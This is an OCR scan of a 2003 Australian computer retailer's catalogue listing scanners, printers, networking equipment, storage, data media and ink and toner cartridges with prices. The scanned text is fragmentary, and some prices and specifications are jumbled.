%ISWIIcra3:. 


Up ScanJet 2300 Up ScanJet 3500 


• USB 2.0 Full Speed 


• USB 2.0 Full Speed ’ 

• Win/Mac 



hp OfficeJet 5110 
all-in-one 

• Up to 480 dpi for high-resolutlon Images 

• Up to 600 X 600 dpi black text printing and 
copying powerful fax capability 

• High speed 33.6 kbps modem 

• 5 one-touch keys 



hp deskjet 1220c 
- A3 Printing! 

•2400x1200 dpi 

• 11 ppm black, 9.5ppm colour 

• PhotoREt 3 

• Full bleed A3+printing 



Wacom Craphire2 
4x5 USB Tablet 

Primarily designed for the 

used for drawing/sketching, 
freehand writing, illustration, 
painting, retouching. Comes 
with pressure-sensitive pen 
technology with S12 levels of 
pressure sensitivity. 



$165 


IWebsearchC ode.WACOWl 

Wacom 
Graphire 2 
Mouse 

offers ease of use across the 
Graphire tablet range. 


if# 


Canon D1250U2F scanner canon C5000F scanner 

• 1200 X 2400 dpi • 2400x4800dpi film and document scanning 


Canon imageCLASS 
MFC 600F 


$aa 
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Digital Cameras 




Compute 

ir Produ' 


It Rock Bottom Prices 




im mjM 


$28n—r$529 l■^i$1029 











































































Hardware 

Software 

Consumables 


Projectors & Camcorders 


Sony css Ultra Compact Sony CX5 Ultra 
LCD Projector 


Epson EMP-52 LCD 


Multimedia Projectors 
Terminology 


projector Compact LCD Projector Projector . 

ANSI Lumens, SVGA) (2000 ANSI Lumens, XCA) (1200 ANSI Lumens, SVGA) (Liquid Crystal Dis 




K$a050l 
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Personal Digital Assistance 

Computer Products at Rock Bottom Prices 


Iomega Zip 



1300 300 003 

































































Hardware 
Software 
Consumables 

LaCie d2 External Hard Disks 

LaCie d2 range is a professional flexible system. Made of extruded aluminium am 
same materials used in Formula 1 cars design for their unique features; robust, ii< 
Kensington cable lock and power lock for better security. Front power button an 
on/off with your computer. Supplied with drivers for Mac and PC. 

Drives can be used stacked horizontally or can be mounted in a 1U 19" rack (kit s 


80GB 7200rpm USB2.0: 
120GB 7200rpm USB2.0: 
200GB 7200rpm USB2.0: 


$425 

$509 

$719 



80GB 7200rpm FireWire; 
120GB 7200rpni FireWire: 
200GB 7200rpm FireWire: 
400GB BD 7200 rpm: 

400GB is USB2.0 and FireWire and FBC 
500GB BD 7200rpin FireWire: 
500GB is USB2.0 and FireWire and F80 


$425 

$509 

$719 

$1519 


Storage 


APC Back-ups ES 
350/500 VA USB 

An affordable battery backup 
to provide continued uptime 
and hardware protection for 
home or office users. Contains 
five Australian style outlets, 
phone, modem, fax and DSL 
data line surge protection, 
computer interface port for 




LaCie d2 52x24x52x 

USB2.0 & Firewire 

LaCie CD-R 52x is the fastest external 
CD-Recorder on the market, burning a fi 
700MB CD in less than 2 minutes. It comi 


best professional CDR/CDRW I 
market at the most affordabit 
USB2 Win Only $2B9 


LaCie SuperDrive A05 
CDRW/DVDRW 


LaCie DVD-R 4x / DVD-RW 2x / DVD-Rom 12x / 
CD-R 16x / CD-RW 8x/ CD-Rom 32x is a unique 


Ds and DVDs, such as CD-ROM, A» 
D-RW, DVD-ROM, DVD-R 


LaCie Pocket Hard Disk 

LaCie Pocket hard disks are the most robust 




APC Back-UPS Pro 
280/a20/650si 

PowerChute Plus software 
lets your UPS shut down your 
application gracefully in the 
event of an extended power 
failure. Includes additional 
outlet for protection of printers, 
audible alarms, phone/modem 
protection, user replaceable hot 
swappable batteries. 


IJl 


Pioneer Externai DVR-A05 DVD-R & dvd-rw 

Bonus Arcsoft ShowBiz video editing software 


imbination dri' 
irnal unit fitted with a DVR-105 DVD Writer that 
! one or both of these interface connections 

• DVO-R*^ DVD-RW, CD-R, CD-RW 

• 4X and 8X CD-R 

• 4X CD-RW 

• IX and 2X DVD-R (General Use Mec 

• IX DVD-RW 

• DVD-ROM, DVD-Video, DVD-R, DVC 
CD-ROM, CD-R, CD-RW, CD-TEXT, 

Photo CD, Audio CD 

•Buffer Under Run" protection 


Includes: 

• ULEAD DVD Workshop 1.3 SE 

• ULEAD VideoStudio 6 SE DVD 

• ULEAD DVD PictureShow 

• RecordNow DX DVD/CD 


Pioneer internai DVR-A05 DVD-R & DVD-RW 

Internationally recognized reliability and compatibility 

The DVR-A05 writes and reads DVD-R/RW, write once/re-recor 
on most DVD video players and DVD-ROM drivers. The drive a 
CD-R and CD-RW media, and can be used as a DVD-ROM and CD-ROM 


Includes: 

• Ulead DVD Workshop 1.3 SE 

• Ulead VideoStudio 6 SE DVD 

• Ulead DVD PictureShow 1.0 SE 

• RecordNow DX DVD/CD Writing Software 

• DLA with StorageGuard 

• Simple Backup 

• Cyberlink PowerDVD XP V4.0 

• 1 X DVD-R Media 

• 1 X DVD-RW Media 

• Pre-Authored DVD Workshop Demonstratior 



lism. The DVR-A05 features a I 
lie operation with discs having 
or both playback and recording 


DVR-A05PRO 
Professional Kit - 
Bonus DVDit! PE & 
MPEG 1/2 encoder 


All Standard Kit items 
PLUS SONIC ReelDVD LE 3.0 
Professional Authoring Software 



click here to buy... 15 



























































Networking 

Computer Products at Rock Bottom Prices 


Adaptec USB 2.0 
PCI Connect Kit 

• 4-port (1 internal) Host Bus 
Adaptor, Hot Pluggable 
Plug and Play Connectivity 

• Supports up to 480 Mbps 
throughput, Up to 40x 
faster than USB1.1! 

• Includes USB2.0,Latest 
Drivers and USB2.0 utilities 
available On-line. 


D-Link DWL-650+ 

AirPlus 22Mbps Wireless LAN 
PCMCIA Card 

• Compatible with IEEE 802.11 b (DSSS) 2.4G 
Stande ' 

• Autos* 
for Me 

• 64-/128-/256-Bit Wired E 
(WEP) Security Support 

• Supports Peer-to-Peer Communii 


D-Link DWL-520+ 

22Mbps Wireless LAN PCI 
Adapter 

• Compatible with IEEE 802.11b (DSSS) 2.4GHz 

• Autosenses & Adjusts Speed to conditions 


D-Link DWL-900AP+ 

AirPlus 22 Mbps Wireless LAN 
Access Point 

• lO/IOOMbps Fast Ethernet Interfacr 

connec. 

• Compa 
Standa 





Adaptec 
Duoconnect USB 
2.0/139a PCI 
Combo Card Kit 

• 7-port Host Bus Adaptor, 
4-port USB 2.0 and 3-port 
lx USB 2.0 Internal 


D-Link DI-704P 

IP Router for DSL/cabie M 
with Firewall 

Ethernet Broadband Gateway with 
four-port switch plus a print server 

•10Mbps Ethernet Port for DSL or i 
Modem connection 

• 4-Port lO/IOOMbps Switch 

• Support NAT for Firewall Protect! 
Intergrated Printer Sen/et^ 


D-Link DSL-504 

ADSL Router with 4-Port 
l0/l00Mbps switch 

• Connect single or multiple PC's on 
Ethernet LAN to an ADSL service 

• 4-Port 10/100Mbps Switch 
•ADSL Interface (RJ11) 

• Supports G.dmt 


D-Link Di-614+ 

AirPlus Enhanced 2.4CHz wireless 
Router 

Features: 

• Capable of data transfer rates up to 22 Mbps 

• Creating your first wireless network 

• Quickly and securely connect computers to 
share a high-speed Internet connection 

• Connection of up to four computers 

• Connect to the network us 






Netcomm ADSLModem 
Router with Ethernet 
and USB Port - NB1300 


Ethernet ADSL Modem with full integrated 
Router. 10/100 Ethernet and USB ports. Fully 
ACA (A-Tick) & Telstra (IP1149) approved. 
Compatible with all major ISPs and all USB 
supported operating Systems. Embedded 


Netcomm Cabie/ADSL Netcomm NP2005 5 Port 
Wireiess Router - NB3000 10/100 Smart Switch 


Bridge between wired and wireless LANs. 

11Mbps IEEE 802.11b Wireless Access Point. 

4 Port 10/100 switch to build or expand your 
wired network. Router to share your ■ 
cable or ADSL connection. NAT firewall | 
to protect your PCs. Built -in DHCP 
er Supports VPN pass-through 


N-Way high speed switch. Auto 
sr half duplex, store and forward 
!, Plug and Play configuration 



Features: 

The NB2800 ADSL/Cable Router and 
integrated 4-port network switch mi 
sharing your broadband connection 



Netcomm CD2003 
Mega-i-Modem 56K 
Externai Seriai Modem 

56K speed and efficiency, backed by the quality 
of the Netcomm name. The Mega-i-Modem is 
an entry-level communications device, allowing 


Netcomm IN5699 
Internal V92 56K Modem 

Now on an elegant red and gold circuit board, 
the new, updated, InModem 56K delivers high- 

to-install and trouble-free PCI format. 

In addition to its up-to-date feature-set, the 
new InModem 56K features its own on board 
DSP (Digital Signal Processor) for top-notch CPU 
performance. 
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Hardware 

Software 

Consumables 


Networking 


Netgear 54 Mbps Wireless PC Card 


lum notebook mobility, this PC card can't be beat, 
ously supports 802.11^02.11b wireless standards for 
itest possible network access and broadband sharing 


• Works with both IEEE 802.11b + draft 802.11g (boi 

• Speeds of up to 54 Mbps 

• Office roaming for notebook PC users 

• Shared broadband Internet access and resources. 



Netgear Wireless Access Point 
and Router 

WCR614 

Cable/DSL Router with 802.11G access point built in works with IEEE 802.11b and 
IEEE 802.11g adapters 

• Share broadband Internet access and resources 

• Speeds of up to 54Mbps 

• Four ultra fast 1(V100 Mps Lai 

• NAT Firewall protects against hai 

• Netgear 802.11b products ai 



Seagate 
Barracuda Hard 
Drives 

• 7200 RPM desktop 

• 350 Gs nonoperating 


data protection system. 
DiscWizard software. 
SoftSonic FOB Motor. 
2-Mbyte ca 


Netgear 5 & 8 Port 10/100 Mbps 
Ethernet Switches 

FS605/FS608 

Easy as pie to set up and run, these elegantly designed, compact 
switches will stand vertically to save desk space and to see LED icon 
for quick recognition. 

• Plug and Play installation, no configuration 

• Sleek, silver unit design 

• Vertical option saves desk space 

• Auto Uplink makes the right 


$95 I $129 


Netgear 10/100 4 Port DSL Modem 
internet Gateway 

DG814 

Features an integrated DSL modem for shared DSL access with 
multiple users. Enjoy high-speed Web surfing, file-sharing, Web acc 
filtering and firewall protection. 


Netgear ADSL Modem with USB and 
Ethernet Ports 

DM602 



$215 ■ $359 


Netgear wireless 4 Port ADSL 
Modem Gateway 


m for shared high-speed Web ac 


• Integrated 4-po 

• Four ultra-fast WlOO Mbps U 

• NAT Firewall with VPN pass-through protection 

• Web page content filtering and time-of-day usage managert 



your connection among up to 253 usf 

• Built-in AD5L modem & wireless acc 

• True Firewall business-class security 

• Up to 200 Mbps LAN port speeds 

• Easy, Web browser-based setup 

• Free AD5L phone filter 

• Netgear 802.11b products are 
also available 


irking devices, audio, 
and other multimedia 
ations. With Maxtor 
Protection and Data 
dion 5ystems on 
drive, your drives and 
ire protected against 


Netgear Cable/DSL ProSafe Firewall 
with Print Server & 4 Port Switch 

FR114P 

Optimal protection with the Pro5afe Firewall/Print 5erver. This true 
' rewall is broadband-capable. 

True Firewall with 5tateful Packet Inspection (SPI) and Intrusion Detection 
Denial of 5ervice (DoS) attack protection and VPN pass-through 
Built-in Print Server and Network 
Easy-to-Use Smart Wizard and Insi 



Netgear Cable/DSL ProSafe VPN Firewall 
with 8 Port 10/100 Mbps Switch 

FVS318 


The FVS318 broadband-capable VPN firewall initiates up to 8 IPSec 
tunnels, provides routing, DoS protection. Intrusion Detection, URL 
iltering, logging, reporting, and real-time alerts. 


access/conter 



• Initiates up to 8 IPSec VPN tunnels simultaneously 

• Stateful Packet Inspection Firewall with VPN pass-through & 

• Eight ultra-fast 10/100 Mbps LAN ports 

• Securely connects mobile workforce & branch 
offices to main office resources 

• Easy-to-use Web browser-ba: 


www.iswh.com.au 



click here to buy... 17 














































JUNE/iULY 2003 


Computer Products at Rock B ottom Prices 


Altec Lansing 
Versatile 220 
Speakers 

For good sound at an affordable 
price, try the 220 system. This 
two-piece system works well for 
music and gaming. 



Altec Lansing 
Versatile 221 
Speakers 

Great sound with bass you can 
feel. This 3-piece system is a 
sturdy system for music and 
gaming that fits on your desktop 
and within your budget. 



• 50 Watts Total Peak Power 

• High Performance Micro 

• Ported, Dual Subwoofer 


Belkin SurgeMaster 


thunder and lightning will ever be abli 
Be safe and smart; choose a SurgeMasI 
protection and if you want to protect: 
connection, choose the surge protecto 


ers the best protection for all 
lome or office. No amount of 
o scare away your protection, 
with telephone/data line 

hat protects botf 


Belkin 4 Way Telephone Pro 
Belkin 6 Way Telephone Pro 
Belkin 6 Way Telephone Pro + / 
Belkin 8 Way Telephone Pro 
Belkin 8 Way Telephone Pro + / 



Belkin Access Point 


Point (WAP). The 54g WAP coi 
your network switch and lets; 
wireless-equipped PCs to your 


Belkin Wireless Cable/ 
ADSL Router 

54g technology Is the easiest wireless network 


Belkin Bluetooth USB 
Adapter 



Belkin Wireless 
Desktop Network Card 

The 54g 


Belkin wireless Notebook Belkin USB 2.0/1.1 4- 
Network card Port Hub 

USB 1.1 Hub offers fast 12Mbps data rate for 
PC and Mac. USB 2 Hub (not pictured) features 
operation at 40 times faster than USB 1.1 
(480Mbps data speed) and works seamlessly 
with today's USB 1.1 devices (PC only). Includes 
Belkin 



Belkin Wireless 
Keyboard & Mouse 

Offers advanced input at the best price poin1 
imaginable. In this finely constructed, easy- 
to-use wireless solution, we've incorporated 
patented auto-synchronization technology ai 
256 IDs. 


Belkin USB 8-in-l Media Belkin Hi-Speed USB 2.0 
Reader/Writer 

The Belkin USB ReaderWriter for 
CompactFlash I, CompactFlash II, SmartMedia, 

Secure Digital, MultiMedia, IBM Microdrive, 

Memory Stick, and Memory Gate Memory 
Stick lets you drag and drop files, images. 


DVD Creator 

ation from Belkin lets you 
urces. The package includes 









































Hardware 

Software 

Consumables 


Components 


Creative Sound Blaster Extigy 

Sound Blaster Extigy is the _ 

revolutionary external quality 
audio solution from Creative. 

Designed to provide stunning 
3 to notebook or 
desktop users through USB, it 
installs quickly and a remote 
control is standard. 


Creative Sound Blaster Audigy 2 



Memory lype DDR 
Flash BIOS N/A 

TVout Yes 

DVIPoit N/A 

1Win View N/A 


$129 I $249 I $349 I $129 I $225 I $349 


Intel 

Motherboards 


MDU5GBV2 

Intel Pentium 4 
533MCOMHZ 


for illus&ation 
purposes only 


Intel 845PE/ICH4 
[)DR333,2slot.26B 


Gigabyte 

Motherboards 


m 


• 60 Watts Total Continuous 
Power RMS 

• 90 Watts Total Peak Power 

• Deep-Bass, Compact 


■B^ 11 


Intel Pentium 4 
5331400 MMz 
Intel 8S(f/ICH4 

RDRAM PC1066,4 slot, 2GB 
4X 

5PQ/1QIR 


Intel Pentium 4 
533 MHz 
Intel 845GV/1014 
MkroAlX 

L DDR266Q00,2slot^2GB 

3Pa 

A0760iannel 


Gigabyte GA-86E667 GA^ESOOUJRA 

lntelPentium4 lntelPentium4 

533/400 MHz 533MOOMHz 

Intel 845GE/ICH4 Intel 845PE/ICH4 

ATX ATX 

0()R333fl66,3slot,26B DDR333C66,3slot2GB 

6PCWCNR,2SATA4WTAtEE1394 
AO? 6 Channel 
10USB2.0 

Yes (Kenai 33 Gigabit) 



$199 I $249 I $289 I $139 I $169 I $299 


Memory 

• Are you finding you can't multitask? 

• Do you find data that can not be processed instantly? 

• Do you feel like you aren't a power user but would like to be? 

If you answered yes to any of these questions, it may be time for a memory upgrade. 

At ISWH, we stock a large range of memory from all the leading manufacturers. So 
if you are looking for an upgrade to handle your needs today, look no further than 
ISWH. We are able to source almost any module, so call one of our expert staff to 


This top-of-the-line speaker 
system features a centre 
channel, a powerful 
subwoofer, and surround 


• 56 Watts Total Continuous 
Power RMS (4x5 W/ 
Satellites; 17.5 W/Centre; 
18.25 W/5ub) 

• TOO Watts Total Peak Power 

• 6-Speaker Dolby Surround 

• Deep Bass, Ported 





Lwww.iswh.com.au 
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Input Devices 

Computer Products at Rock Bottom Prices 





Microsoft Notebook 
Optical Mouse 

Microsoft Notebook Optical mouse 
features Microsoft Optical Technology for 
smooth, accurate 

Contoured for 
comfort and scaled- 
down in size. 

Notebook Optical 

good to go; where 

you need it. 

USB. Win/Mac 



$59 


Microsoft Wireless Optical 
Desktop for Bluetooth 



1300 300 003 
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Data Media 

Computer Products at Rock Bottom Prices 


Century CD is the industry's 
first affordable, intelligent 
CD and DVD storage unit, 


Verbatim DataLifePlus verbatim Digital Vinyl 
CD-R SOmin 48x 10 Pack CD-R SOmin 10 Pack 


verbatim DataLifePlus 
DVD-R 4.7GB 4x 1 Pack 


(Jewel case) 

A recordable disc c 
and groovy 45-rpm 



Imation CD 
SOmin 700mb 
48x + Bonus 
Mini CD 

Imation CD-R and CD-RW 
media have a high-quality 
dye layer that ensures lower 
failure rates. Tested to meet 
Imation's exacting standards to 
protect against the toughest 
environmental conditions 



verbatim CD Media 


Verbatim DataLifePlus CD-R disks offer the security of th 
CD-RW offers highly reliable technology ensuring smoot 
Verbatim's lifetime warranty. 

Websearch Product Description 

193842 Verbatim DataLifePlus CD-R SOmin 700MB 48x VSP 

93846 Verbatim DataLifePlus CD-R SOmin 700MB 48x VSP 

93845 Verbatim DataLifePlus CD-R SOmin 700MB 48x VSP 

96262 Verbatim DataLifePlus CD-R BOmin 700MB 48x VSP 

94809 Verbatim DataLifePlus CD-R SOmin 700MB 48x NSP 

93848 Verbatim DataLifePlus CD-RW 74min 650MB 2x-4x 

93849 Verbatim DataLifePlus CD-RW SOmin 700MB 16x-24x 

93850 Verbatim DataLifePlus CD-RW SOmin 700MB 2x-4x 

Verbatim DataLifePlus CD-RW 74min 650MB 12x 


1 Pack Jewel Case 



verbatim DVD Media 


Creative 
Nomad 
MUVO 64MB 

Load it! 

Plug the MuVo Memory into 
any computer USB port and 
it will show up automatically 
as removeable storage on the 
desktop. Drag and drop your 
MP3sWMAs and files straight 
onto the NOMAD MuVo. 

Play it! 

When used with the Included 
battery pack, the NOMAD MuVo 
works as a tiny MP3 player with 
incredible sound quality. The 
NOMAD MuVo plays for up to 
12 hours on one alkaline AAA 



:t Description 

m DataLifePlus DVD-R 4.7GB 2x VSP 
96289 Verbatim DataLifePlus DVD-R 4.7GB 4x VSP 

96284 Verbatim DataLifePlus DVD-R 4.7GB 2x NSP 

96286 Verbatim DataLifePlus DVD-R 4.7GB 2x NSP 

96287 Verbatim DataLifePlus DVD-RW 4.7GB 2.4x VSP 

1 DataLifePlus DVD-rR 4.7GB 4x VSP 
1 DataLifePlus DVD+R 4.7GB 2.4x NSP 
1 DataLifePlus DVD+RW 4.7GB 2.4x VSP 


verbatim copySmartPlus CD-r/dvd-R 

stand Alone Duplicators 

make stand alom 
affordable. Simul 

CD-R Model; Standalone 3 drive 40x max CD-R, 

12x max CD-RW Duplicator Tower with built in 
hard disk. DVD-R Model: Standalone 3 drive 4x 
DVD-R, 2x DVD-RW, 16x CD-R, Bx CD-RW Tower 


Quantity 

1 Pack Jewel Case 

20 Pack Spindle 
so Pack Spindle 
1 Pack Jewel Case 



te CopySmartPlus Towers 
manual copying easy and 
aneous burning capability to 


Primera Bravo CD-R/dvd-r 

Automated Dupllcators/Printers 


CD or DVD duplication along wit 
colour, 2400dpi disc printing - all 
compact, desktop unit. Up to 25: 
job are automatically produced. 

This model is dual-purpose. It produces 
both DVD-Rs at 2x speed as well as CD-Rs 


3 models available wi 


r 3, 5 or 7 



$1545 $3675 


$4095 $5095 


1300 300 003 







































Data Media 
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imation DVD Media 

Recording movies, aeating interactive training, backing up or archiving massive amounts of data are a just 
a few options. Imation offers all the key DVD formats, like the write-once DVD+R and DVD-R media, or 
DVD rewritable formats like DVD-RAM, DVD+RW, and DVD-RW, DVD media is the next generation data 
storage solution, giving you huge storage capacities and incredible sound and picture quality. 


Imation 4MM/8MM/AIT Tape Media 

Imation 4mm and 8mm data cartridges have a usable life time of up to 2,000 passes and have lifetime-of- 
the-product warranty. Imation AIT cartridges have auto tracking following (ATT) system for highly accurate 
tape tracking. Imation Mammoth cartridges have an archival life greater than 30 years and features a 3MB 


Imation Data Cartridges 


Imation DLT/SDLT and Uitrium (LTD) Tape 
Cartridges 


imation CD Media & Diskettes 


Imation SoniX 
CD/DVD Label Kit 


Son!, 


HP SureStore 
Uitrium 215 
internai Tape 
Drive 

re Uitrium 215 




BiS 


HP SureStore 
DAT40i 40CB 
DDS4 Tape 
Drive 

The HP SureStore DAT40 
provides reliable, cost- 
effective data protection 
for entry-level to mid¬ 
range servers and high-end 


$1999 
















Genuine Printer Supplies 

Computer Products at Rock Bottom Prices 


AF CD Cleaning Kit 

Disc fitted with micro brushes 
for cieaning lenses of CD- 
ROM, CD-R, CD-RW, games 
console and audio CD drives. 
Safe to use on all CD-ROM, 
CD-R, CD-RW and audio 



AF CD Scratch 
Repair & 
Cieaning Kit 



Brother Fax and Laser Supplies 


money. Use only Brother genuine supplies to ensure best performance with your fax 


Websearch 

Websearch 

Websearch 

Websearch 


192725 Brother Laser Toner TN-300 

192726 Brother Laser Toner TN-6600 

192727 Brother Laser Toner TN-7600 

192728 Brother Laser Toner TN-8000 

192729 Brother Laser Toner TN-9000 


Websearch 192734 
Websearch 192735 
Websearch 192736 


Brother Fax Cartridge PC-201 
Brother Fax Cartridge PC-301 
Brother Fax Cartridge PC-401 



$43.50 

$115.00 

$125.00 

$43.50 

$249.00 



Canon BubbleJet Cartridges 

Use only genuine Canon Bubblejet ink cartridges for you Canon Bubblejet printer to ensure high 
quality images and text from the first print to the last. Canon Bubblejet cartridges are designed to g 
you maximum output with your Bubblejet printer and ensure customer satisfaction on every page. 


Websearch MB232 
Websearch CAN236 
Websearch CAN064 
Websearch CAN072 
Websearch CAN071 
Websearch 189700 
Websearch CAN086 
Websearch CAN084 
Websearch CAN015 


Canon Inkjet Cartridge BC02 Black 
Canon Inkjet Cartridge BC03 Black 
Canon Inkjet Cartridge BC05 Colour 
Canon Inkjet Cartridge BC1-21BK Black 
Canon Inkjet Cartridge BC1-21C Colour 
Canon Inkjet Cartridge BC20 Black 
Canon Inkjet Cartridge BC1-10BK Black 
Canon Inkjet Cartridge BC1-11C Colour 
Canon Inkjet Cartridge BC21E Colour 


$38.00 

$49.00 

$12.50 


$75.00 


restorer polish and cleaning 
cloths for removing grease and 
dirt from CD-ROMs, CD-Rs, 
CD-RWs and audio CDs. Safe to 
use on CD-ROMs,CD-Rs. 

CD-RWs and audio CDs. 




Epson InkJet cartridges 

Features quick-drying, acid-free ink with superior resistance to bieeding and smudging 


Websearch 130914 
Websearch 189243 
Websearch EP5428 
Websearch EPS011 
Websearch EPS334 
Websearch EPS333 
Websearch EPS335 
Websearch EPS012 
Websearch EPS069 


Epson inkjet Cartridge 8lack - Cl 3T028091 $49.00 

Epson inkjet Cartridge Colour - C13T029091 $42.90 

Epson Inkjet Cartridge Black - C13T013091 $27.00 

Epson Inkjet Cartridge Colour - C13T014091 $34.10 

Epson Inkjet Cartridge Black - C13S02018790 $36.30 

Epson Inkjet Cartridge Black - Cl 3502018990 $39.50 

Epson Inkjet Cartridge Colour - C13502019190 $43.50 

Epson Inkjet Cartridge Colour - C13S02019390 $31.50 

Epson Inkjet Cartridge Black - C13S02009390 $31.50 




HP DeskJet Cartridges 

Each HP inkjet print cartridge consists of an integrated printhead and ink supply: designed for 
snap-out/drop-in for clean, fast replacement. The result is a new printhead and fresh ink every 
the print cartridge is exchanged for maximum print quality and reliability. 


Websearch 190196 
Websearch 129395 
Websearch HPI008 
Websearch HPI007 
Websearch 192529 
Websearch 130079 
Websearch 190354 
Websearch HP1034 


HP Inkjet Cartridge No 45 Black - 51645AA 
HP Inkjet Cartridge No 41 Colour - 51641AA 
HP Inkjet Cartridge No 29 Black - 51629AA 
HP Inkjet Cartridge No 49 Colour - 51649AA 
HP Inkjet Cartridge No 15 Black - C6615DA 
HP Inkjet Cartridge No 23 Colour - C1823DA 
HP Inkjet Cartridge No 78 Colour - C6578DA 
HP Inkjet Cartridge No 20 Black - C6614DA 



HP Mono LaserJet Cartridges 


Vebsearch AUC125 HP LaserJet 5ty6L Series 2,500 Page Toner - C3906A 

(Vebsearch HWP001 HP LaserJet 1100 Series 2,500 Page Toner - C4092A 

Websearch 192755 HP LaserJet 1200 Series 3,500 Page Toner - C7115X 

Websearch HWP002 HP LaserJet 2100 Series 5,000 Page Toner - C4096A 

Websearch 129465 HP LaserJet 4/5 Series 6,800 Page Toner - 92298A 
Websearch 192571 HP LaserJet 4000 Series 10,000 Page Toner - C4127X 

Websearch 192673 HP LaserJet 4100 Series 10,000 Page Toner - C8061X 


We carry a full range of supplies. 

Please call 1300 300 003 if your supplies are not listed above. 



1300 300 003 























Genuine Printer Supplies 
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Compatible Printer Cartridges 

Computer Products at Rock Bottom Prices 


Hauppauge 
WinTV-uSB Radio 

• Watch TV in a window on 

• Piugs into your PC's USB 
port for easy installation! 

• Videoconference over the 
Internet 

• Make video movies in an 
AVI file format 



Keytek Compatible inkiet Cartridges 


With 10 years of experience, Keytek is the largest 
independent supplier of Inkjet Cartridges in Australia. 
We have an extensive range of compatible Inkjet 
Cartridges for Epson, Canon, Hewlett Packard, Sharp, 
Brother and Xerox all manufactured to the highest 
standard and come with a 100% replacement warranty. 
A sensible alternative to the expensive Original 
cartridges and guaranteed to give quality 
and performance. 



Win TV-USB 
Websearch HAU004 
Price $259 



Websearch 

Websearch 

Websearch 

Websearch 

Websearch 

Websearch 

Websearch 

Websearch 

Websearch 

Websearch 

Websearch 

Websearch 

Websearch 

Websearch 

Websearch 

Websearch 


Hauppauge 

PVR250 

Turn your PC into a Digital 
TV recorder, watch and 
record your TV shows with 
instant replay and program 
pause. The WinTV-PVR-250 
brings live TV to your PC 


Websearch 

Websearch 

Websearch 


Websearch 

Websearch 

Websearch 


93674 Keytek Compatible Ink Cartridge Canon Black for BJ 4000/4100/5500/2000 5eries - BCI21BK 

9366B Keytek Compatible Ink Cartridge Canon Black for BJ 6000/6200/6500/5450/54500 - BCI3EBK 

93673 Keytek Compatible Ink Cartridge Canon Colour for BJ 4000/4100/5500/2000 Series - BCI21C 

93667 Keytek Compatible Ink Cartridge Canon Cyan for BJ 6000/6200/6500/5450/54500 - BCI3EC 

93666 Keytek Compatible Ink Cartridge Canon Magenta for BJ 6000/6200/6500/5450/54500 - BCI3EM 

93662 Keytek Compatible Ink Cartridge Canon Yellow for BJ 6OOO/62OO/6SOO/S450/S45OO - BCI3EY 

93640 Keytek Compatible Ink Cartridge Epson Black for Stylus 400/500/600/700 - 5020093 

93637 Keytek Compatible Ink Cartridge Epson Black for Stylus 440/460/640/660/670/720/1200 - S020187 

93636 Keytek Compatible Ink Cartridge Epson Black for Stylus 480/580/C20UX/C40SX/C40UX - T013 

93633 Keytek Compatible Ink Cartridge Epson Black for Stylus 680 - T017 

93630 Keytek Compatible Ink Cartridge Epson Black for Stylus BOO/850/1520 - 5020108 

93629 Keytek Compatible Ink Cartridge Epson Black for Stylus 880 - T019 

93810 Keytek Compatible Ink Cartridge Epson Black for Stylus C41 - T03B 

93639 Keytek Compatible Ink Cartridge Epson Colour for Stylus 400/600/800/850/1520 - 5020089 

93635 Keytek Compatible Ink Cartridge Epson Colour for Stylus 480/580/C20UX/C40SX/C40UX - TOM 

93632 Keytek Compatible Ink Cartridge Epson Colour for Stylus 680 - T018 

93619 Keytek Compatible Ink Cartridge Epson Colour for Stylus 810 - T027 

93811 Keytek Compatible Ink Cartridge Epson Colour for Stylus C41 - T039 

93623 Keytek Compatible Ink Cartridge Epson Colour for Stylus C60 - T029 

93606 Keytek Compatible Ink Cartridge HP Black for DJ 400/500 Series - HP51626/tA 

93689 Keytek Compatible Ink Cartridge HP Black for DJ 600/6600670/690 - 51629AA 

93687 Keytek Compatible Ink Cartridge HP Black for DJ 610/640O656C - C6614DA 

93608 Keytek Compatible Ink Cartridge HP Black for DJ 840C/84SC/948C - C6615DA 

93607 Keytek Compatible Ink Cartridge HP Black for DJ 930C/990CXI/1220C - 51645AA 

93609 Keytek Compatible Ink Cartridge HP Colour for DJ 320/340/400/540/5500560C - 51625AA 

93688 Keytek Compatible Ink Cartridge HP Colour for DJ 64006560350/600/6600670/690 - 51649AA 


$15.00 

$15.00 

$13.00 

$13.00 

$13.00 

$18.00 

$20.00 


$20.00 

$27.00 

$33.00 


$33.00 


$45.00 

$52.00 

$52.00 


screen. With it s 125-channel 
cable ready TV receiver, you 

window or full screen while 
you work on your PC. 



Hauppauge PVR 
350 

Record TV and Video material 
in DVD-quality MPEG2 to the 
PC's hard drive and play back 
using the PVR 350s dedicated 
MPEG decoding hardware 
to a television via a video 
output on the card. A true 
digital VCR. 







Keytek Compatible Toner cartridges 


Keytek has an extensive range of premium compatible 

and colour, all manufactured to the highest standard 
and to meet or exceed O.E.M. specifications but at a 
very competitive price point. 



Websearch 195085 

Websearch 194690 

Websearch 194691 

Websearch 194725 

Websearch 194734 

Websearch 194735 

Websearch 194736 

Websearch 194737 

Websearch 194738 

Websearch 194739 

Websearch 194740 

Websearch 194741 

Websearch 194758 

Websearch 194759 


Keytek Laser Toner Economy for HP 1100 Series - C4092A 

Keytek Laser Toner Economy EPE for HP 4/5 Series - 92298A 

Keytek Laser Toner Economy for HP 5P/6P - C3903A 

Keytek Laser Toner Economy EPL for HP IIP/IIIP - 92275A 

Keytek Laser Toner Economy for HP 4V/4MV - C3900A 

Keytek Laser Toner Economy EPA for HP 5L/6L/3100 - C3906A 

Keytek Laser Toner Economy EP22 for HP 5SI/8000 - C3909A 

Keytek Laser Toner Economy EP32 for HP 2100/2200D - C4096A 

Keytek Laser Toner Economy for HP 4000N/4050N - C4127X 

Keytek Laser Toner Economy for HP 5000 Series - C4129X 

Keytek Laser Toner Economy for HP 8100/8150 - C4182X 

Keytek Laser Toner Economy for Lexmark Optra R 4049/LXI/RX - 1382100 

Keytek Laser Toner Economy for Lexmark Optra 5 1255/1620/2450 - 1382920 

Keytek Laser Toner Economy for Lexmark Optra T 610/614/615 - 12A5845 


105.00 

79.00 

90.00 

72.00 

110.00 

85.00 

140.00 

140.00 

175.00 

195.00 

225.00 

165.00 

169.00 

225.00 



Keytek Compatible Fax Cartridges 


Keytek has an extensive range of Compatib 
Fax Films and Fax Toners for Panasonic, Sharp, Brother 
and Canon that are manufactured all to the highest 
standard to produce clear, crisp, quality prints. All 
products come with a 100% replacement warranty 
at a very competitive price point. 



Websearch 194761 

Websearch 194760 

Websearch 194762 

Websearch 194729 

Websearch 194731 

Websearch 194732 

Websearch 194733 

Websearch 195077 

Websearch 195078 

Websearch 195079 


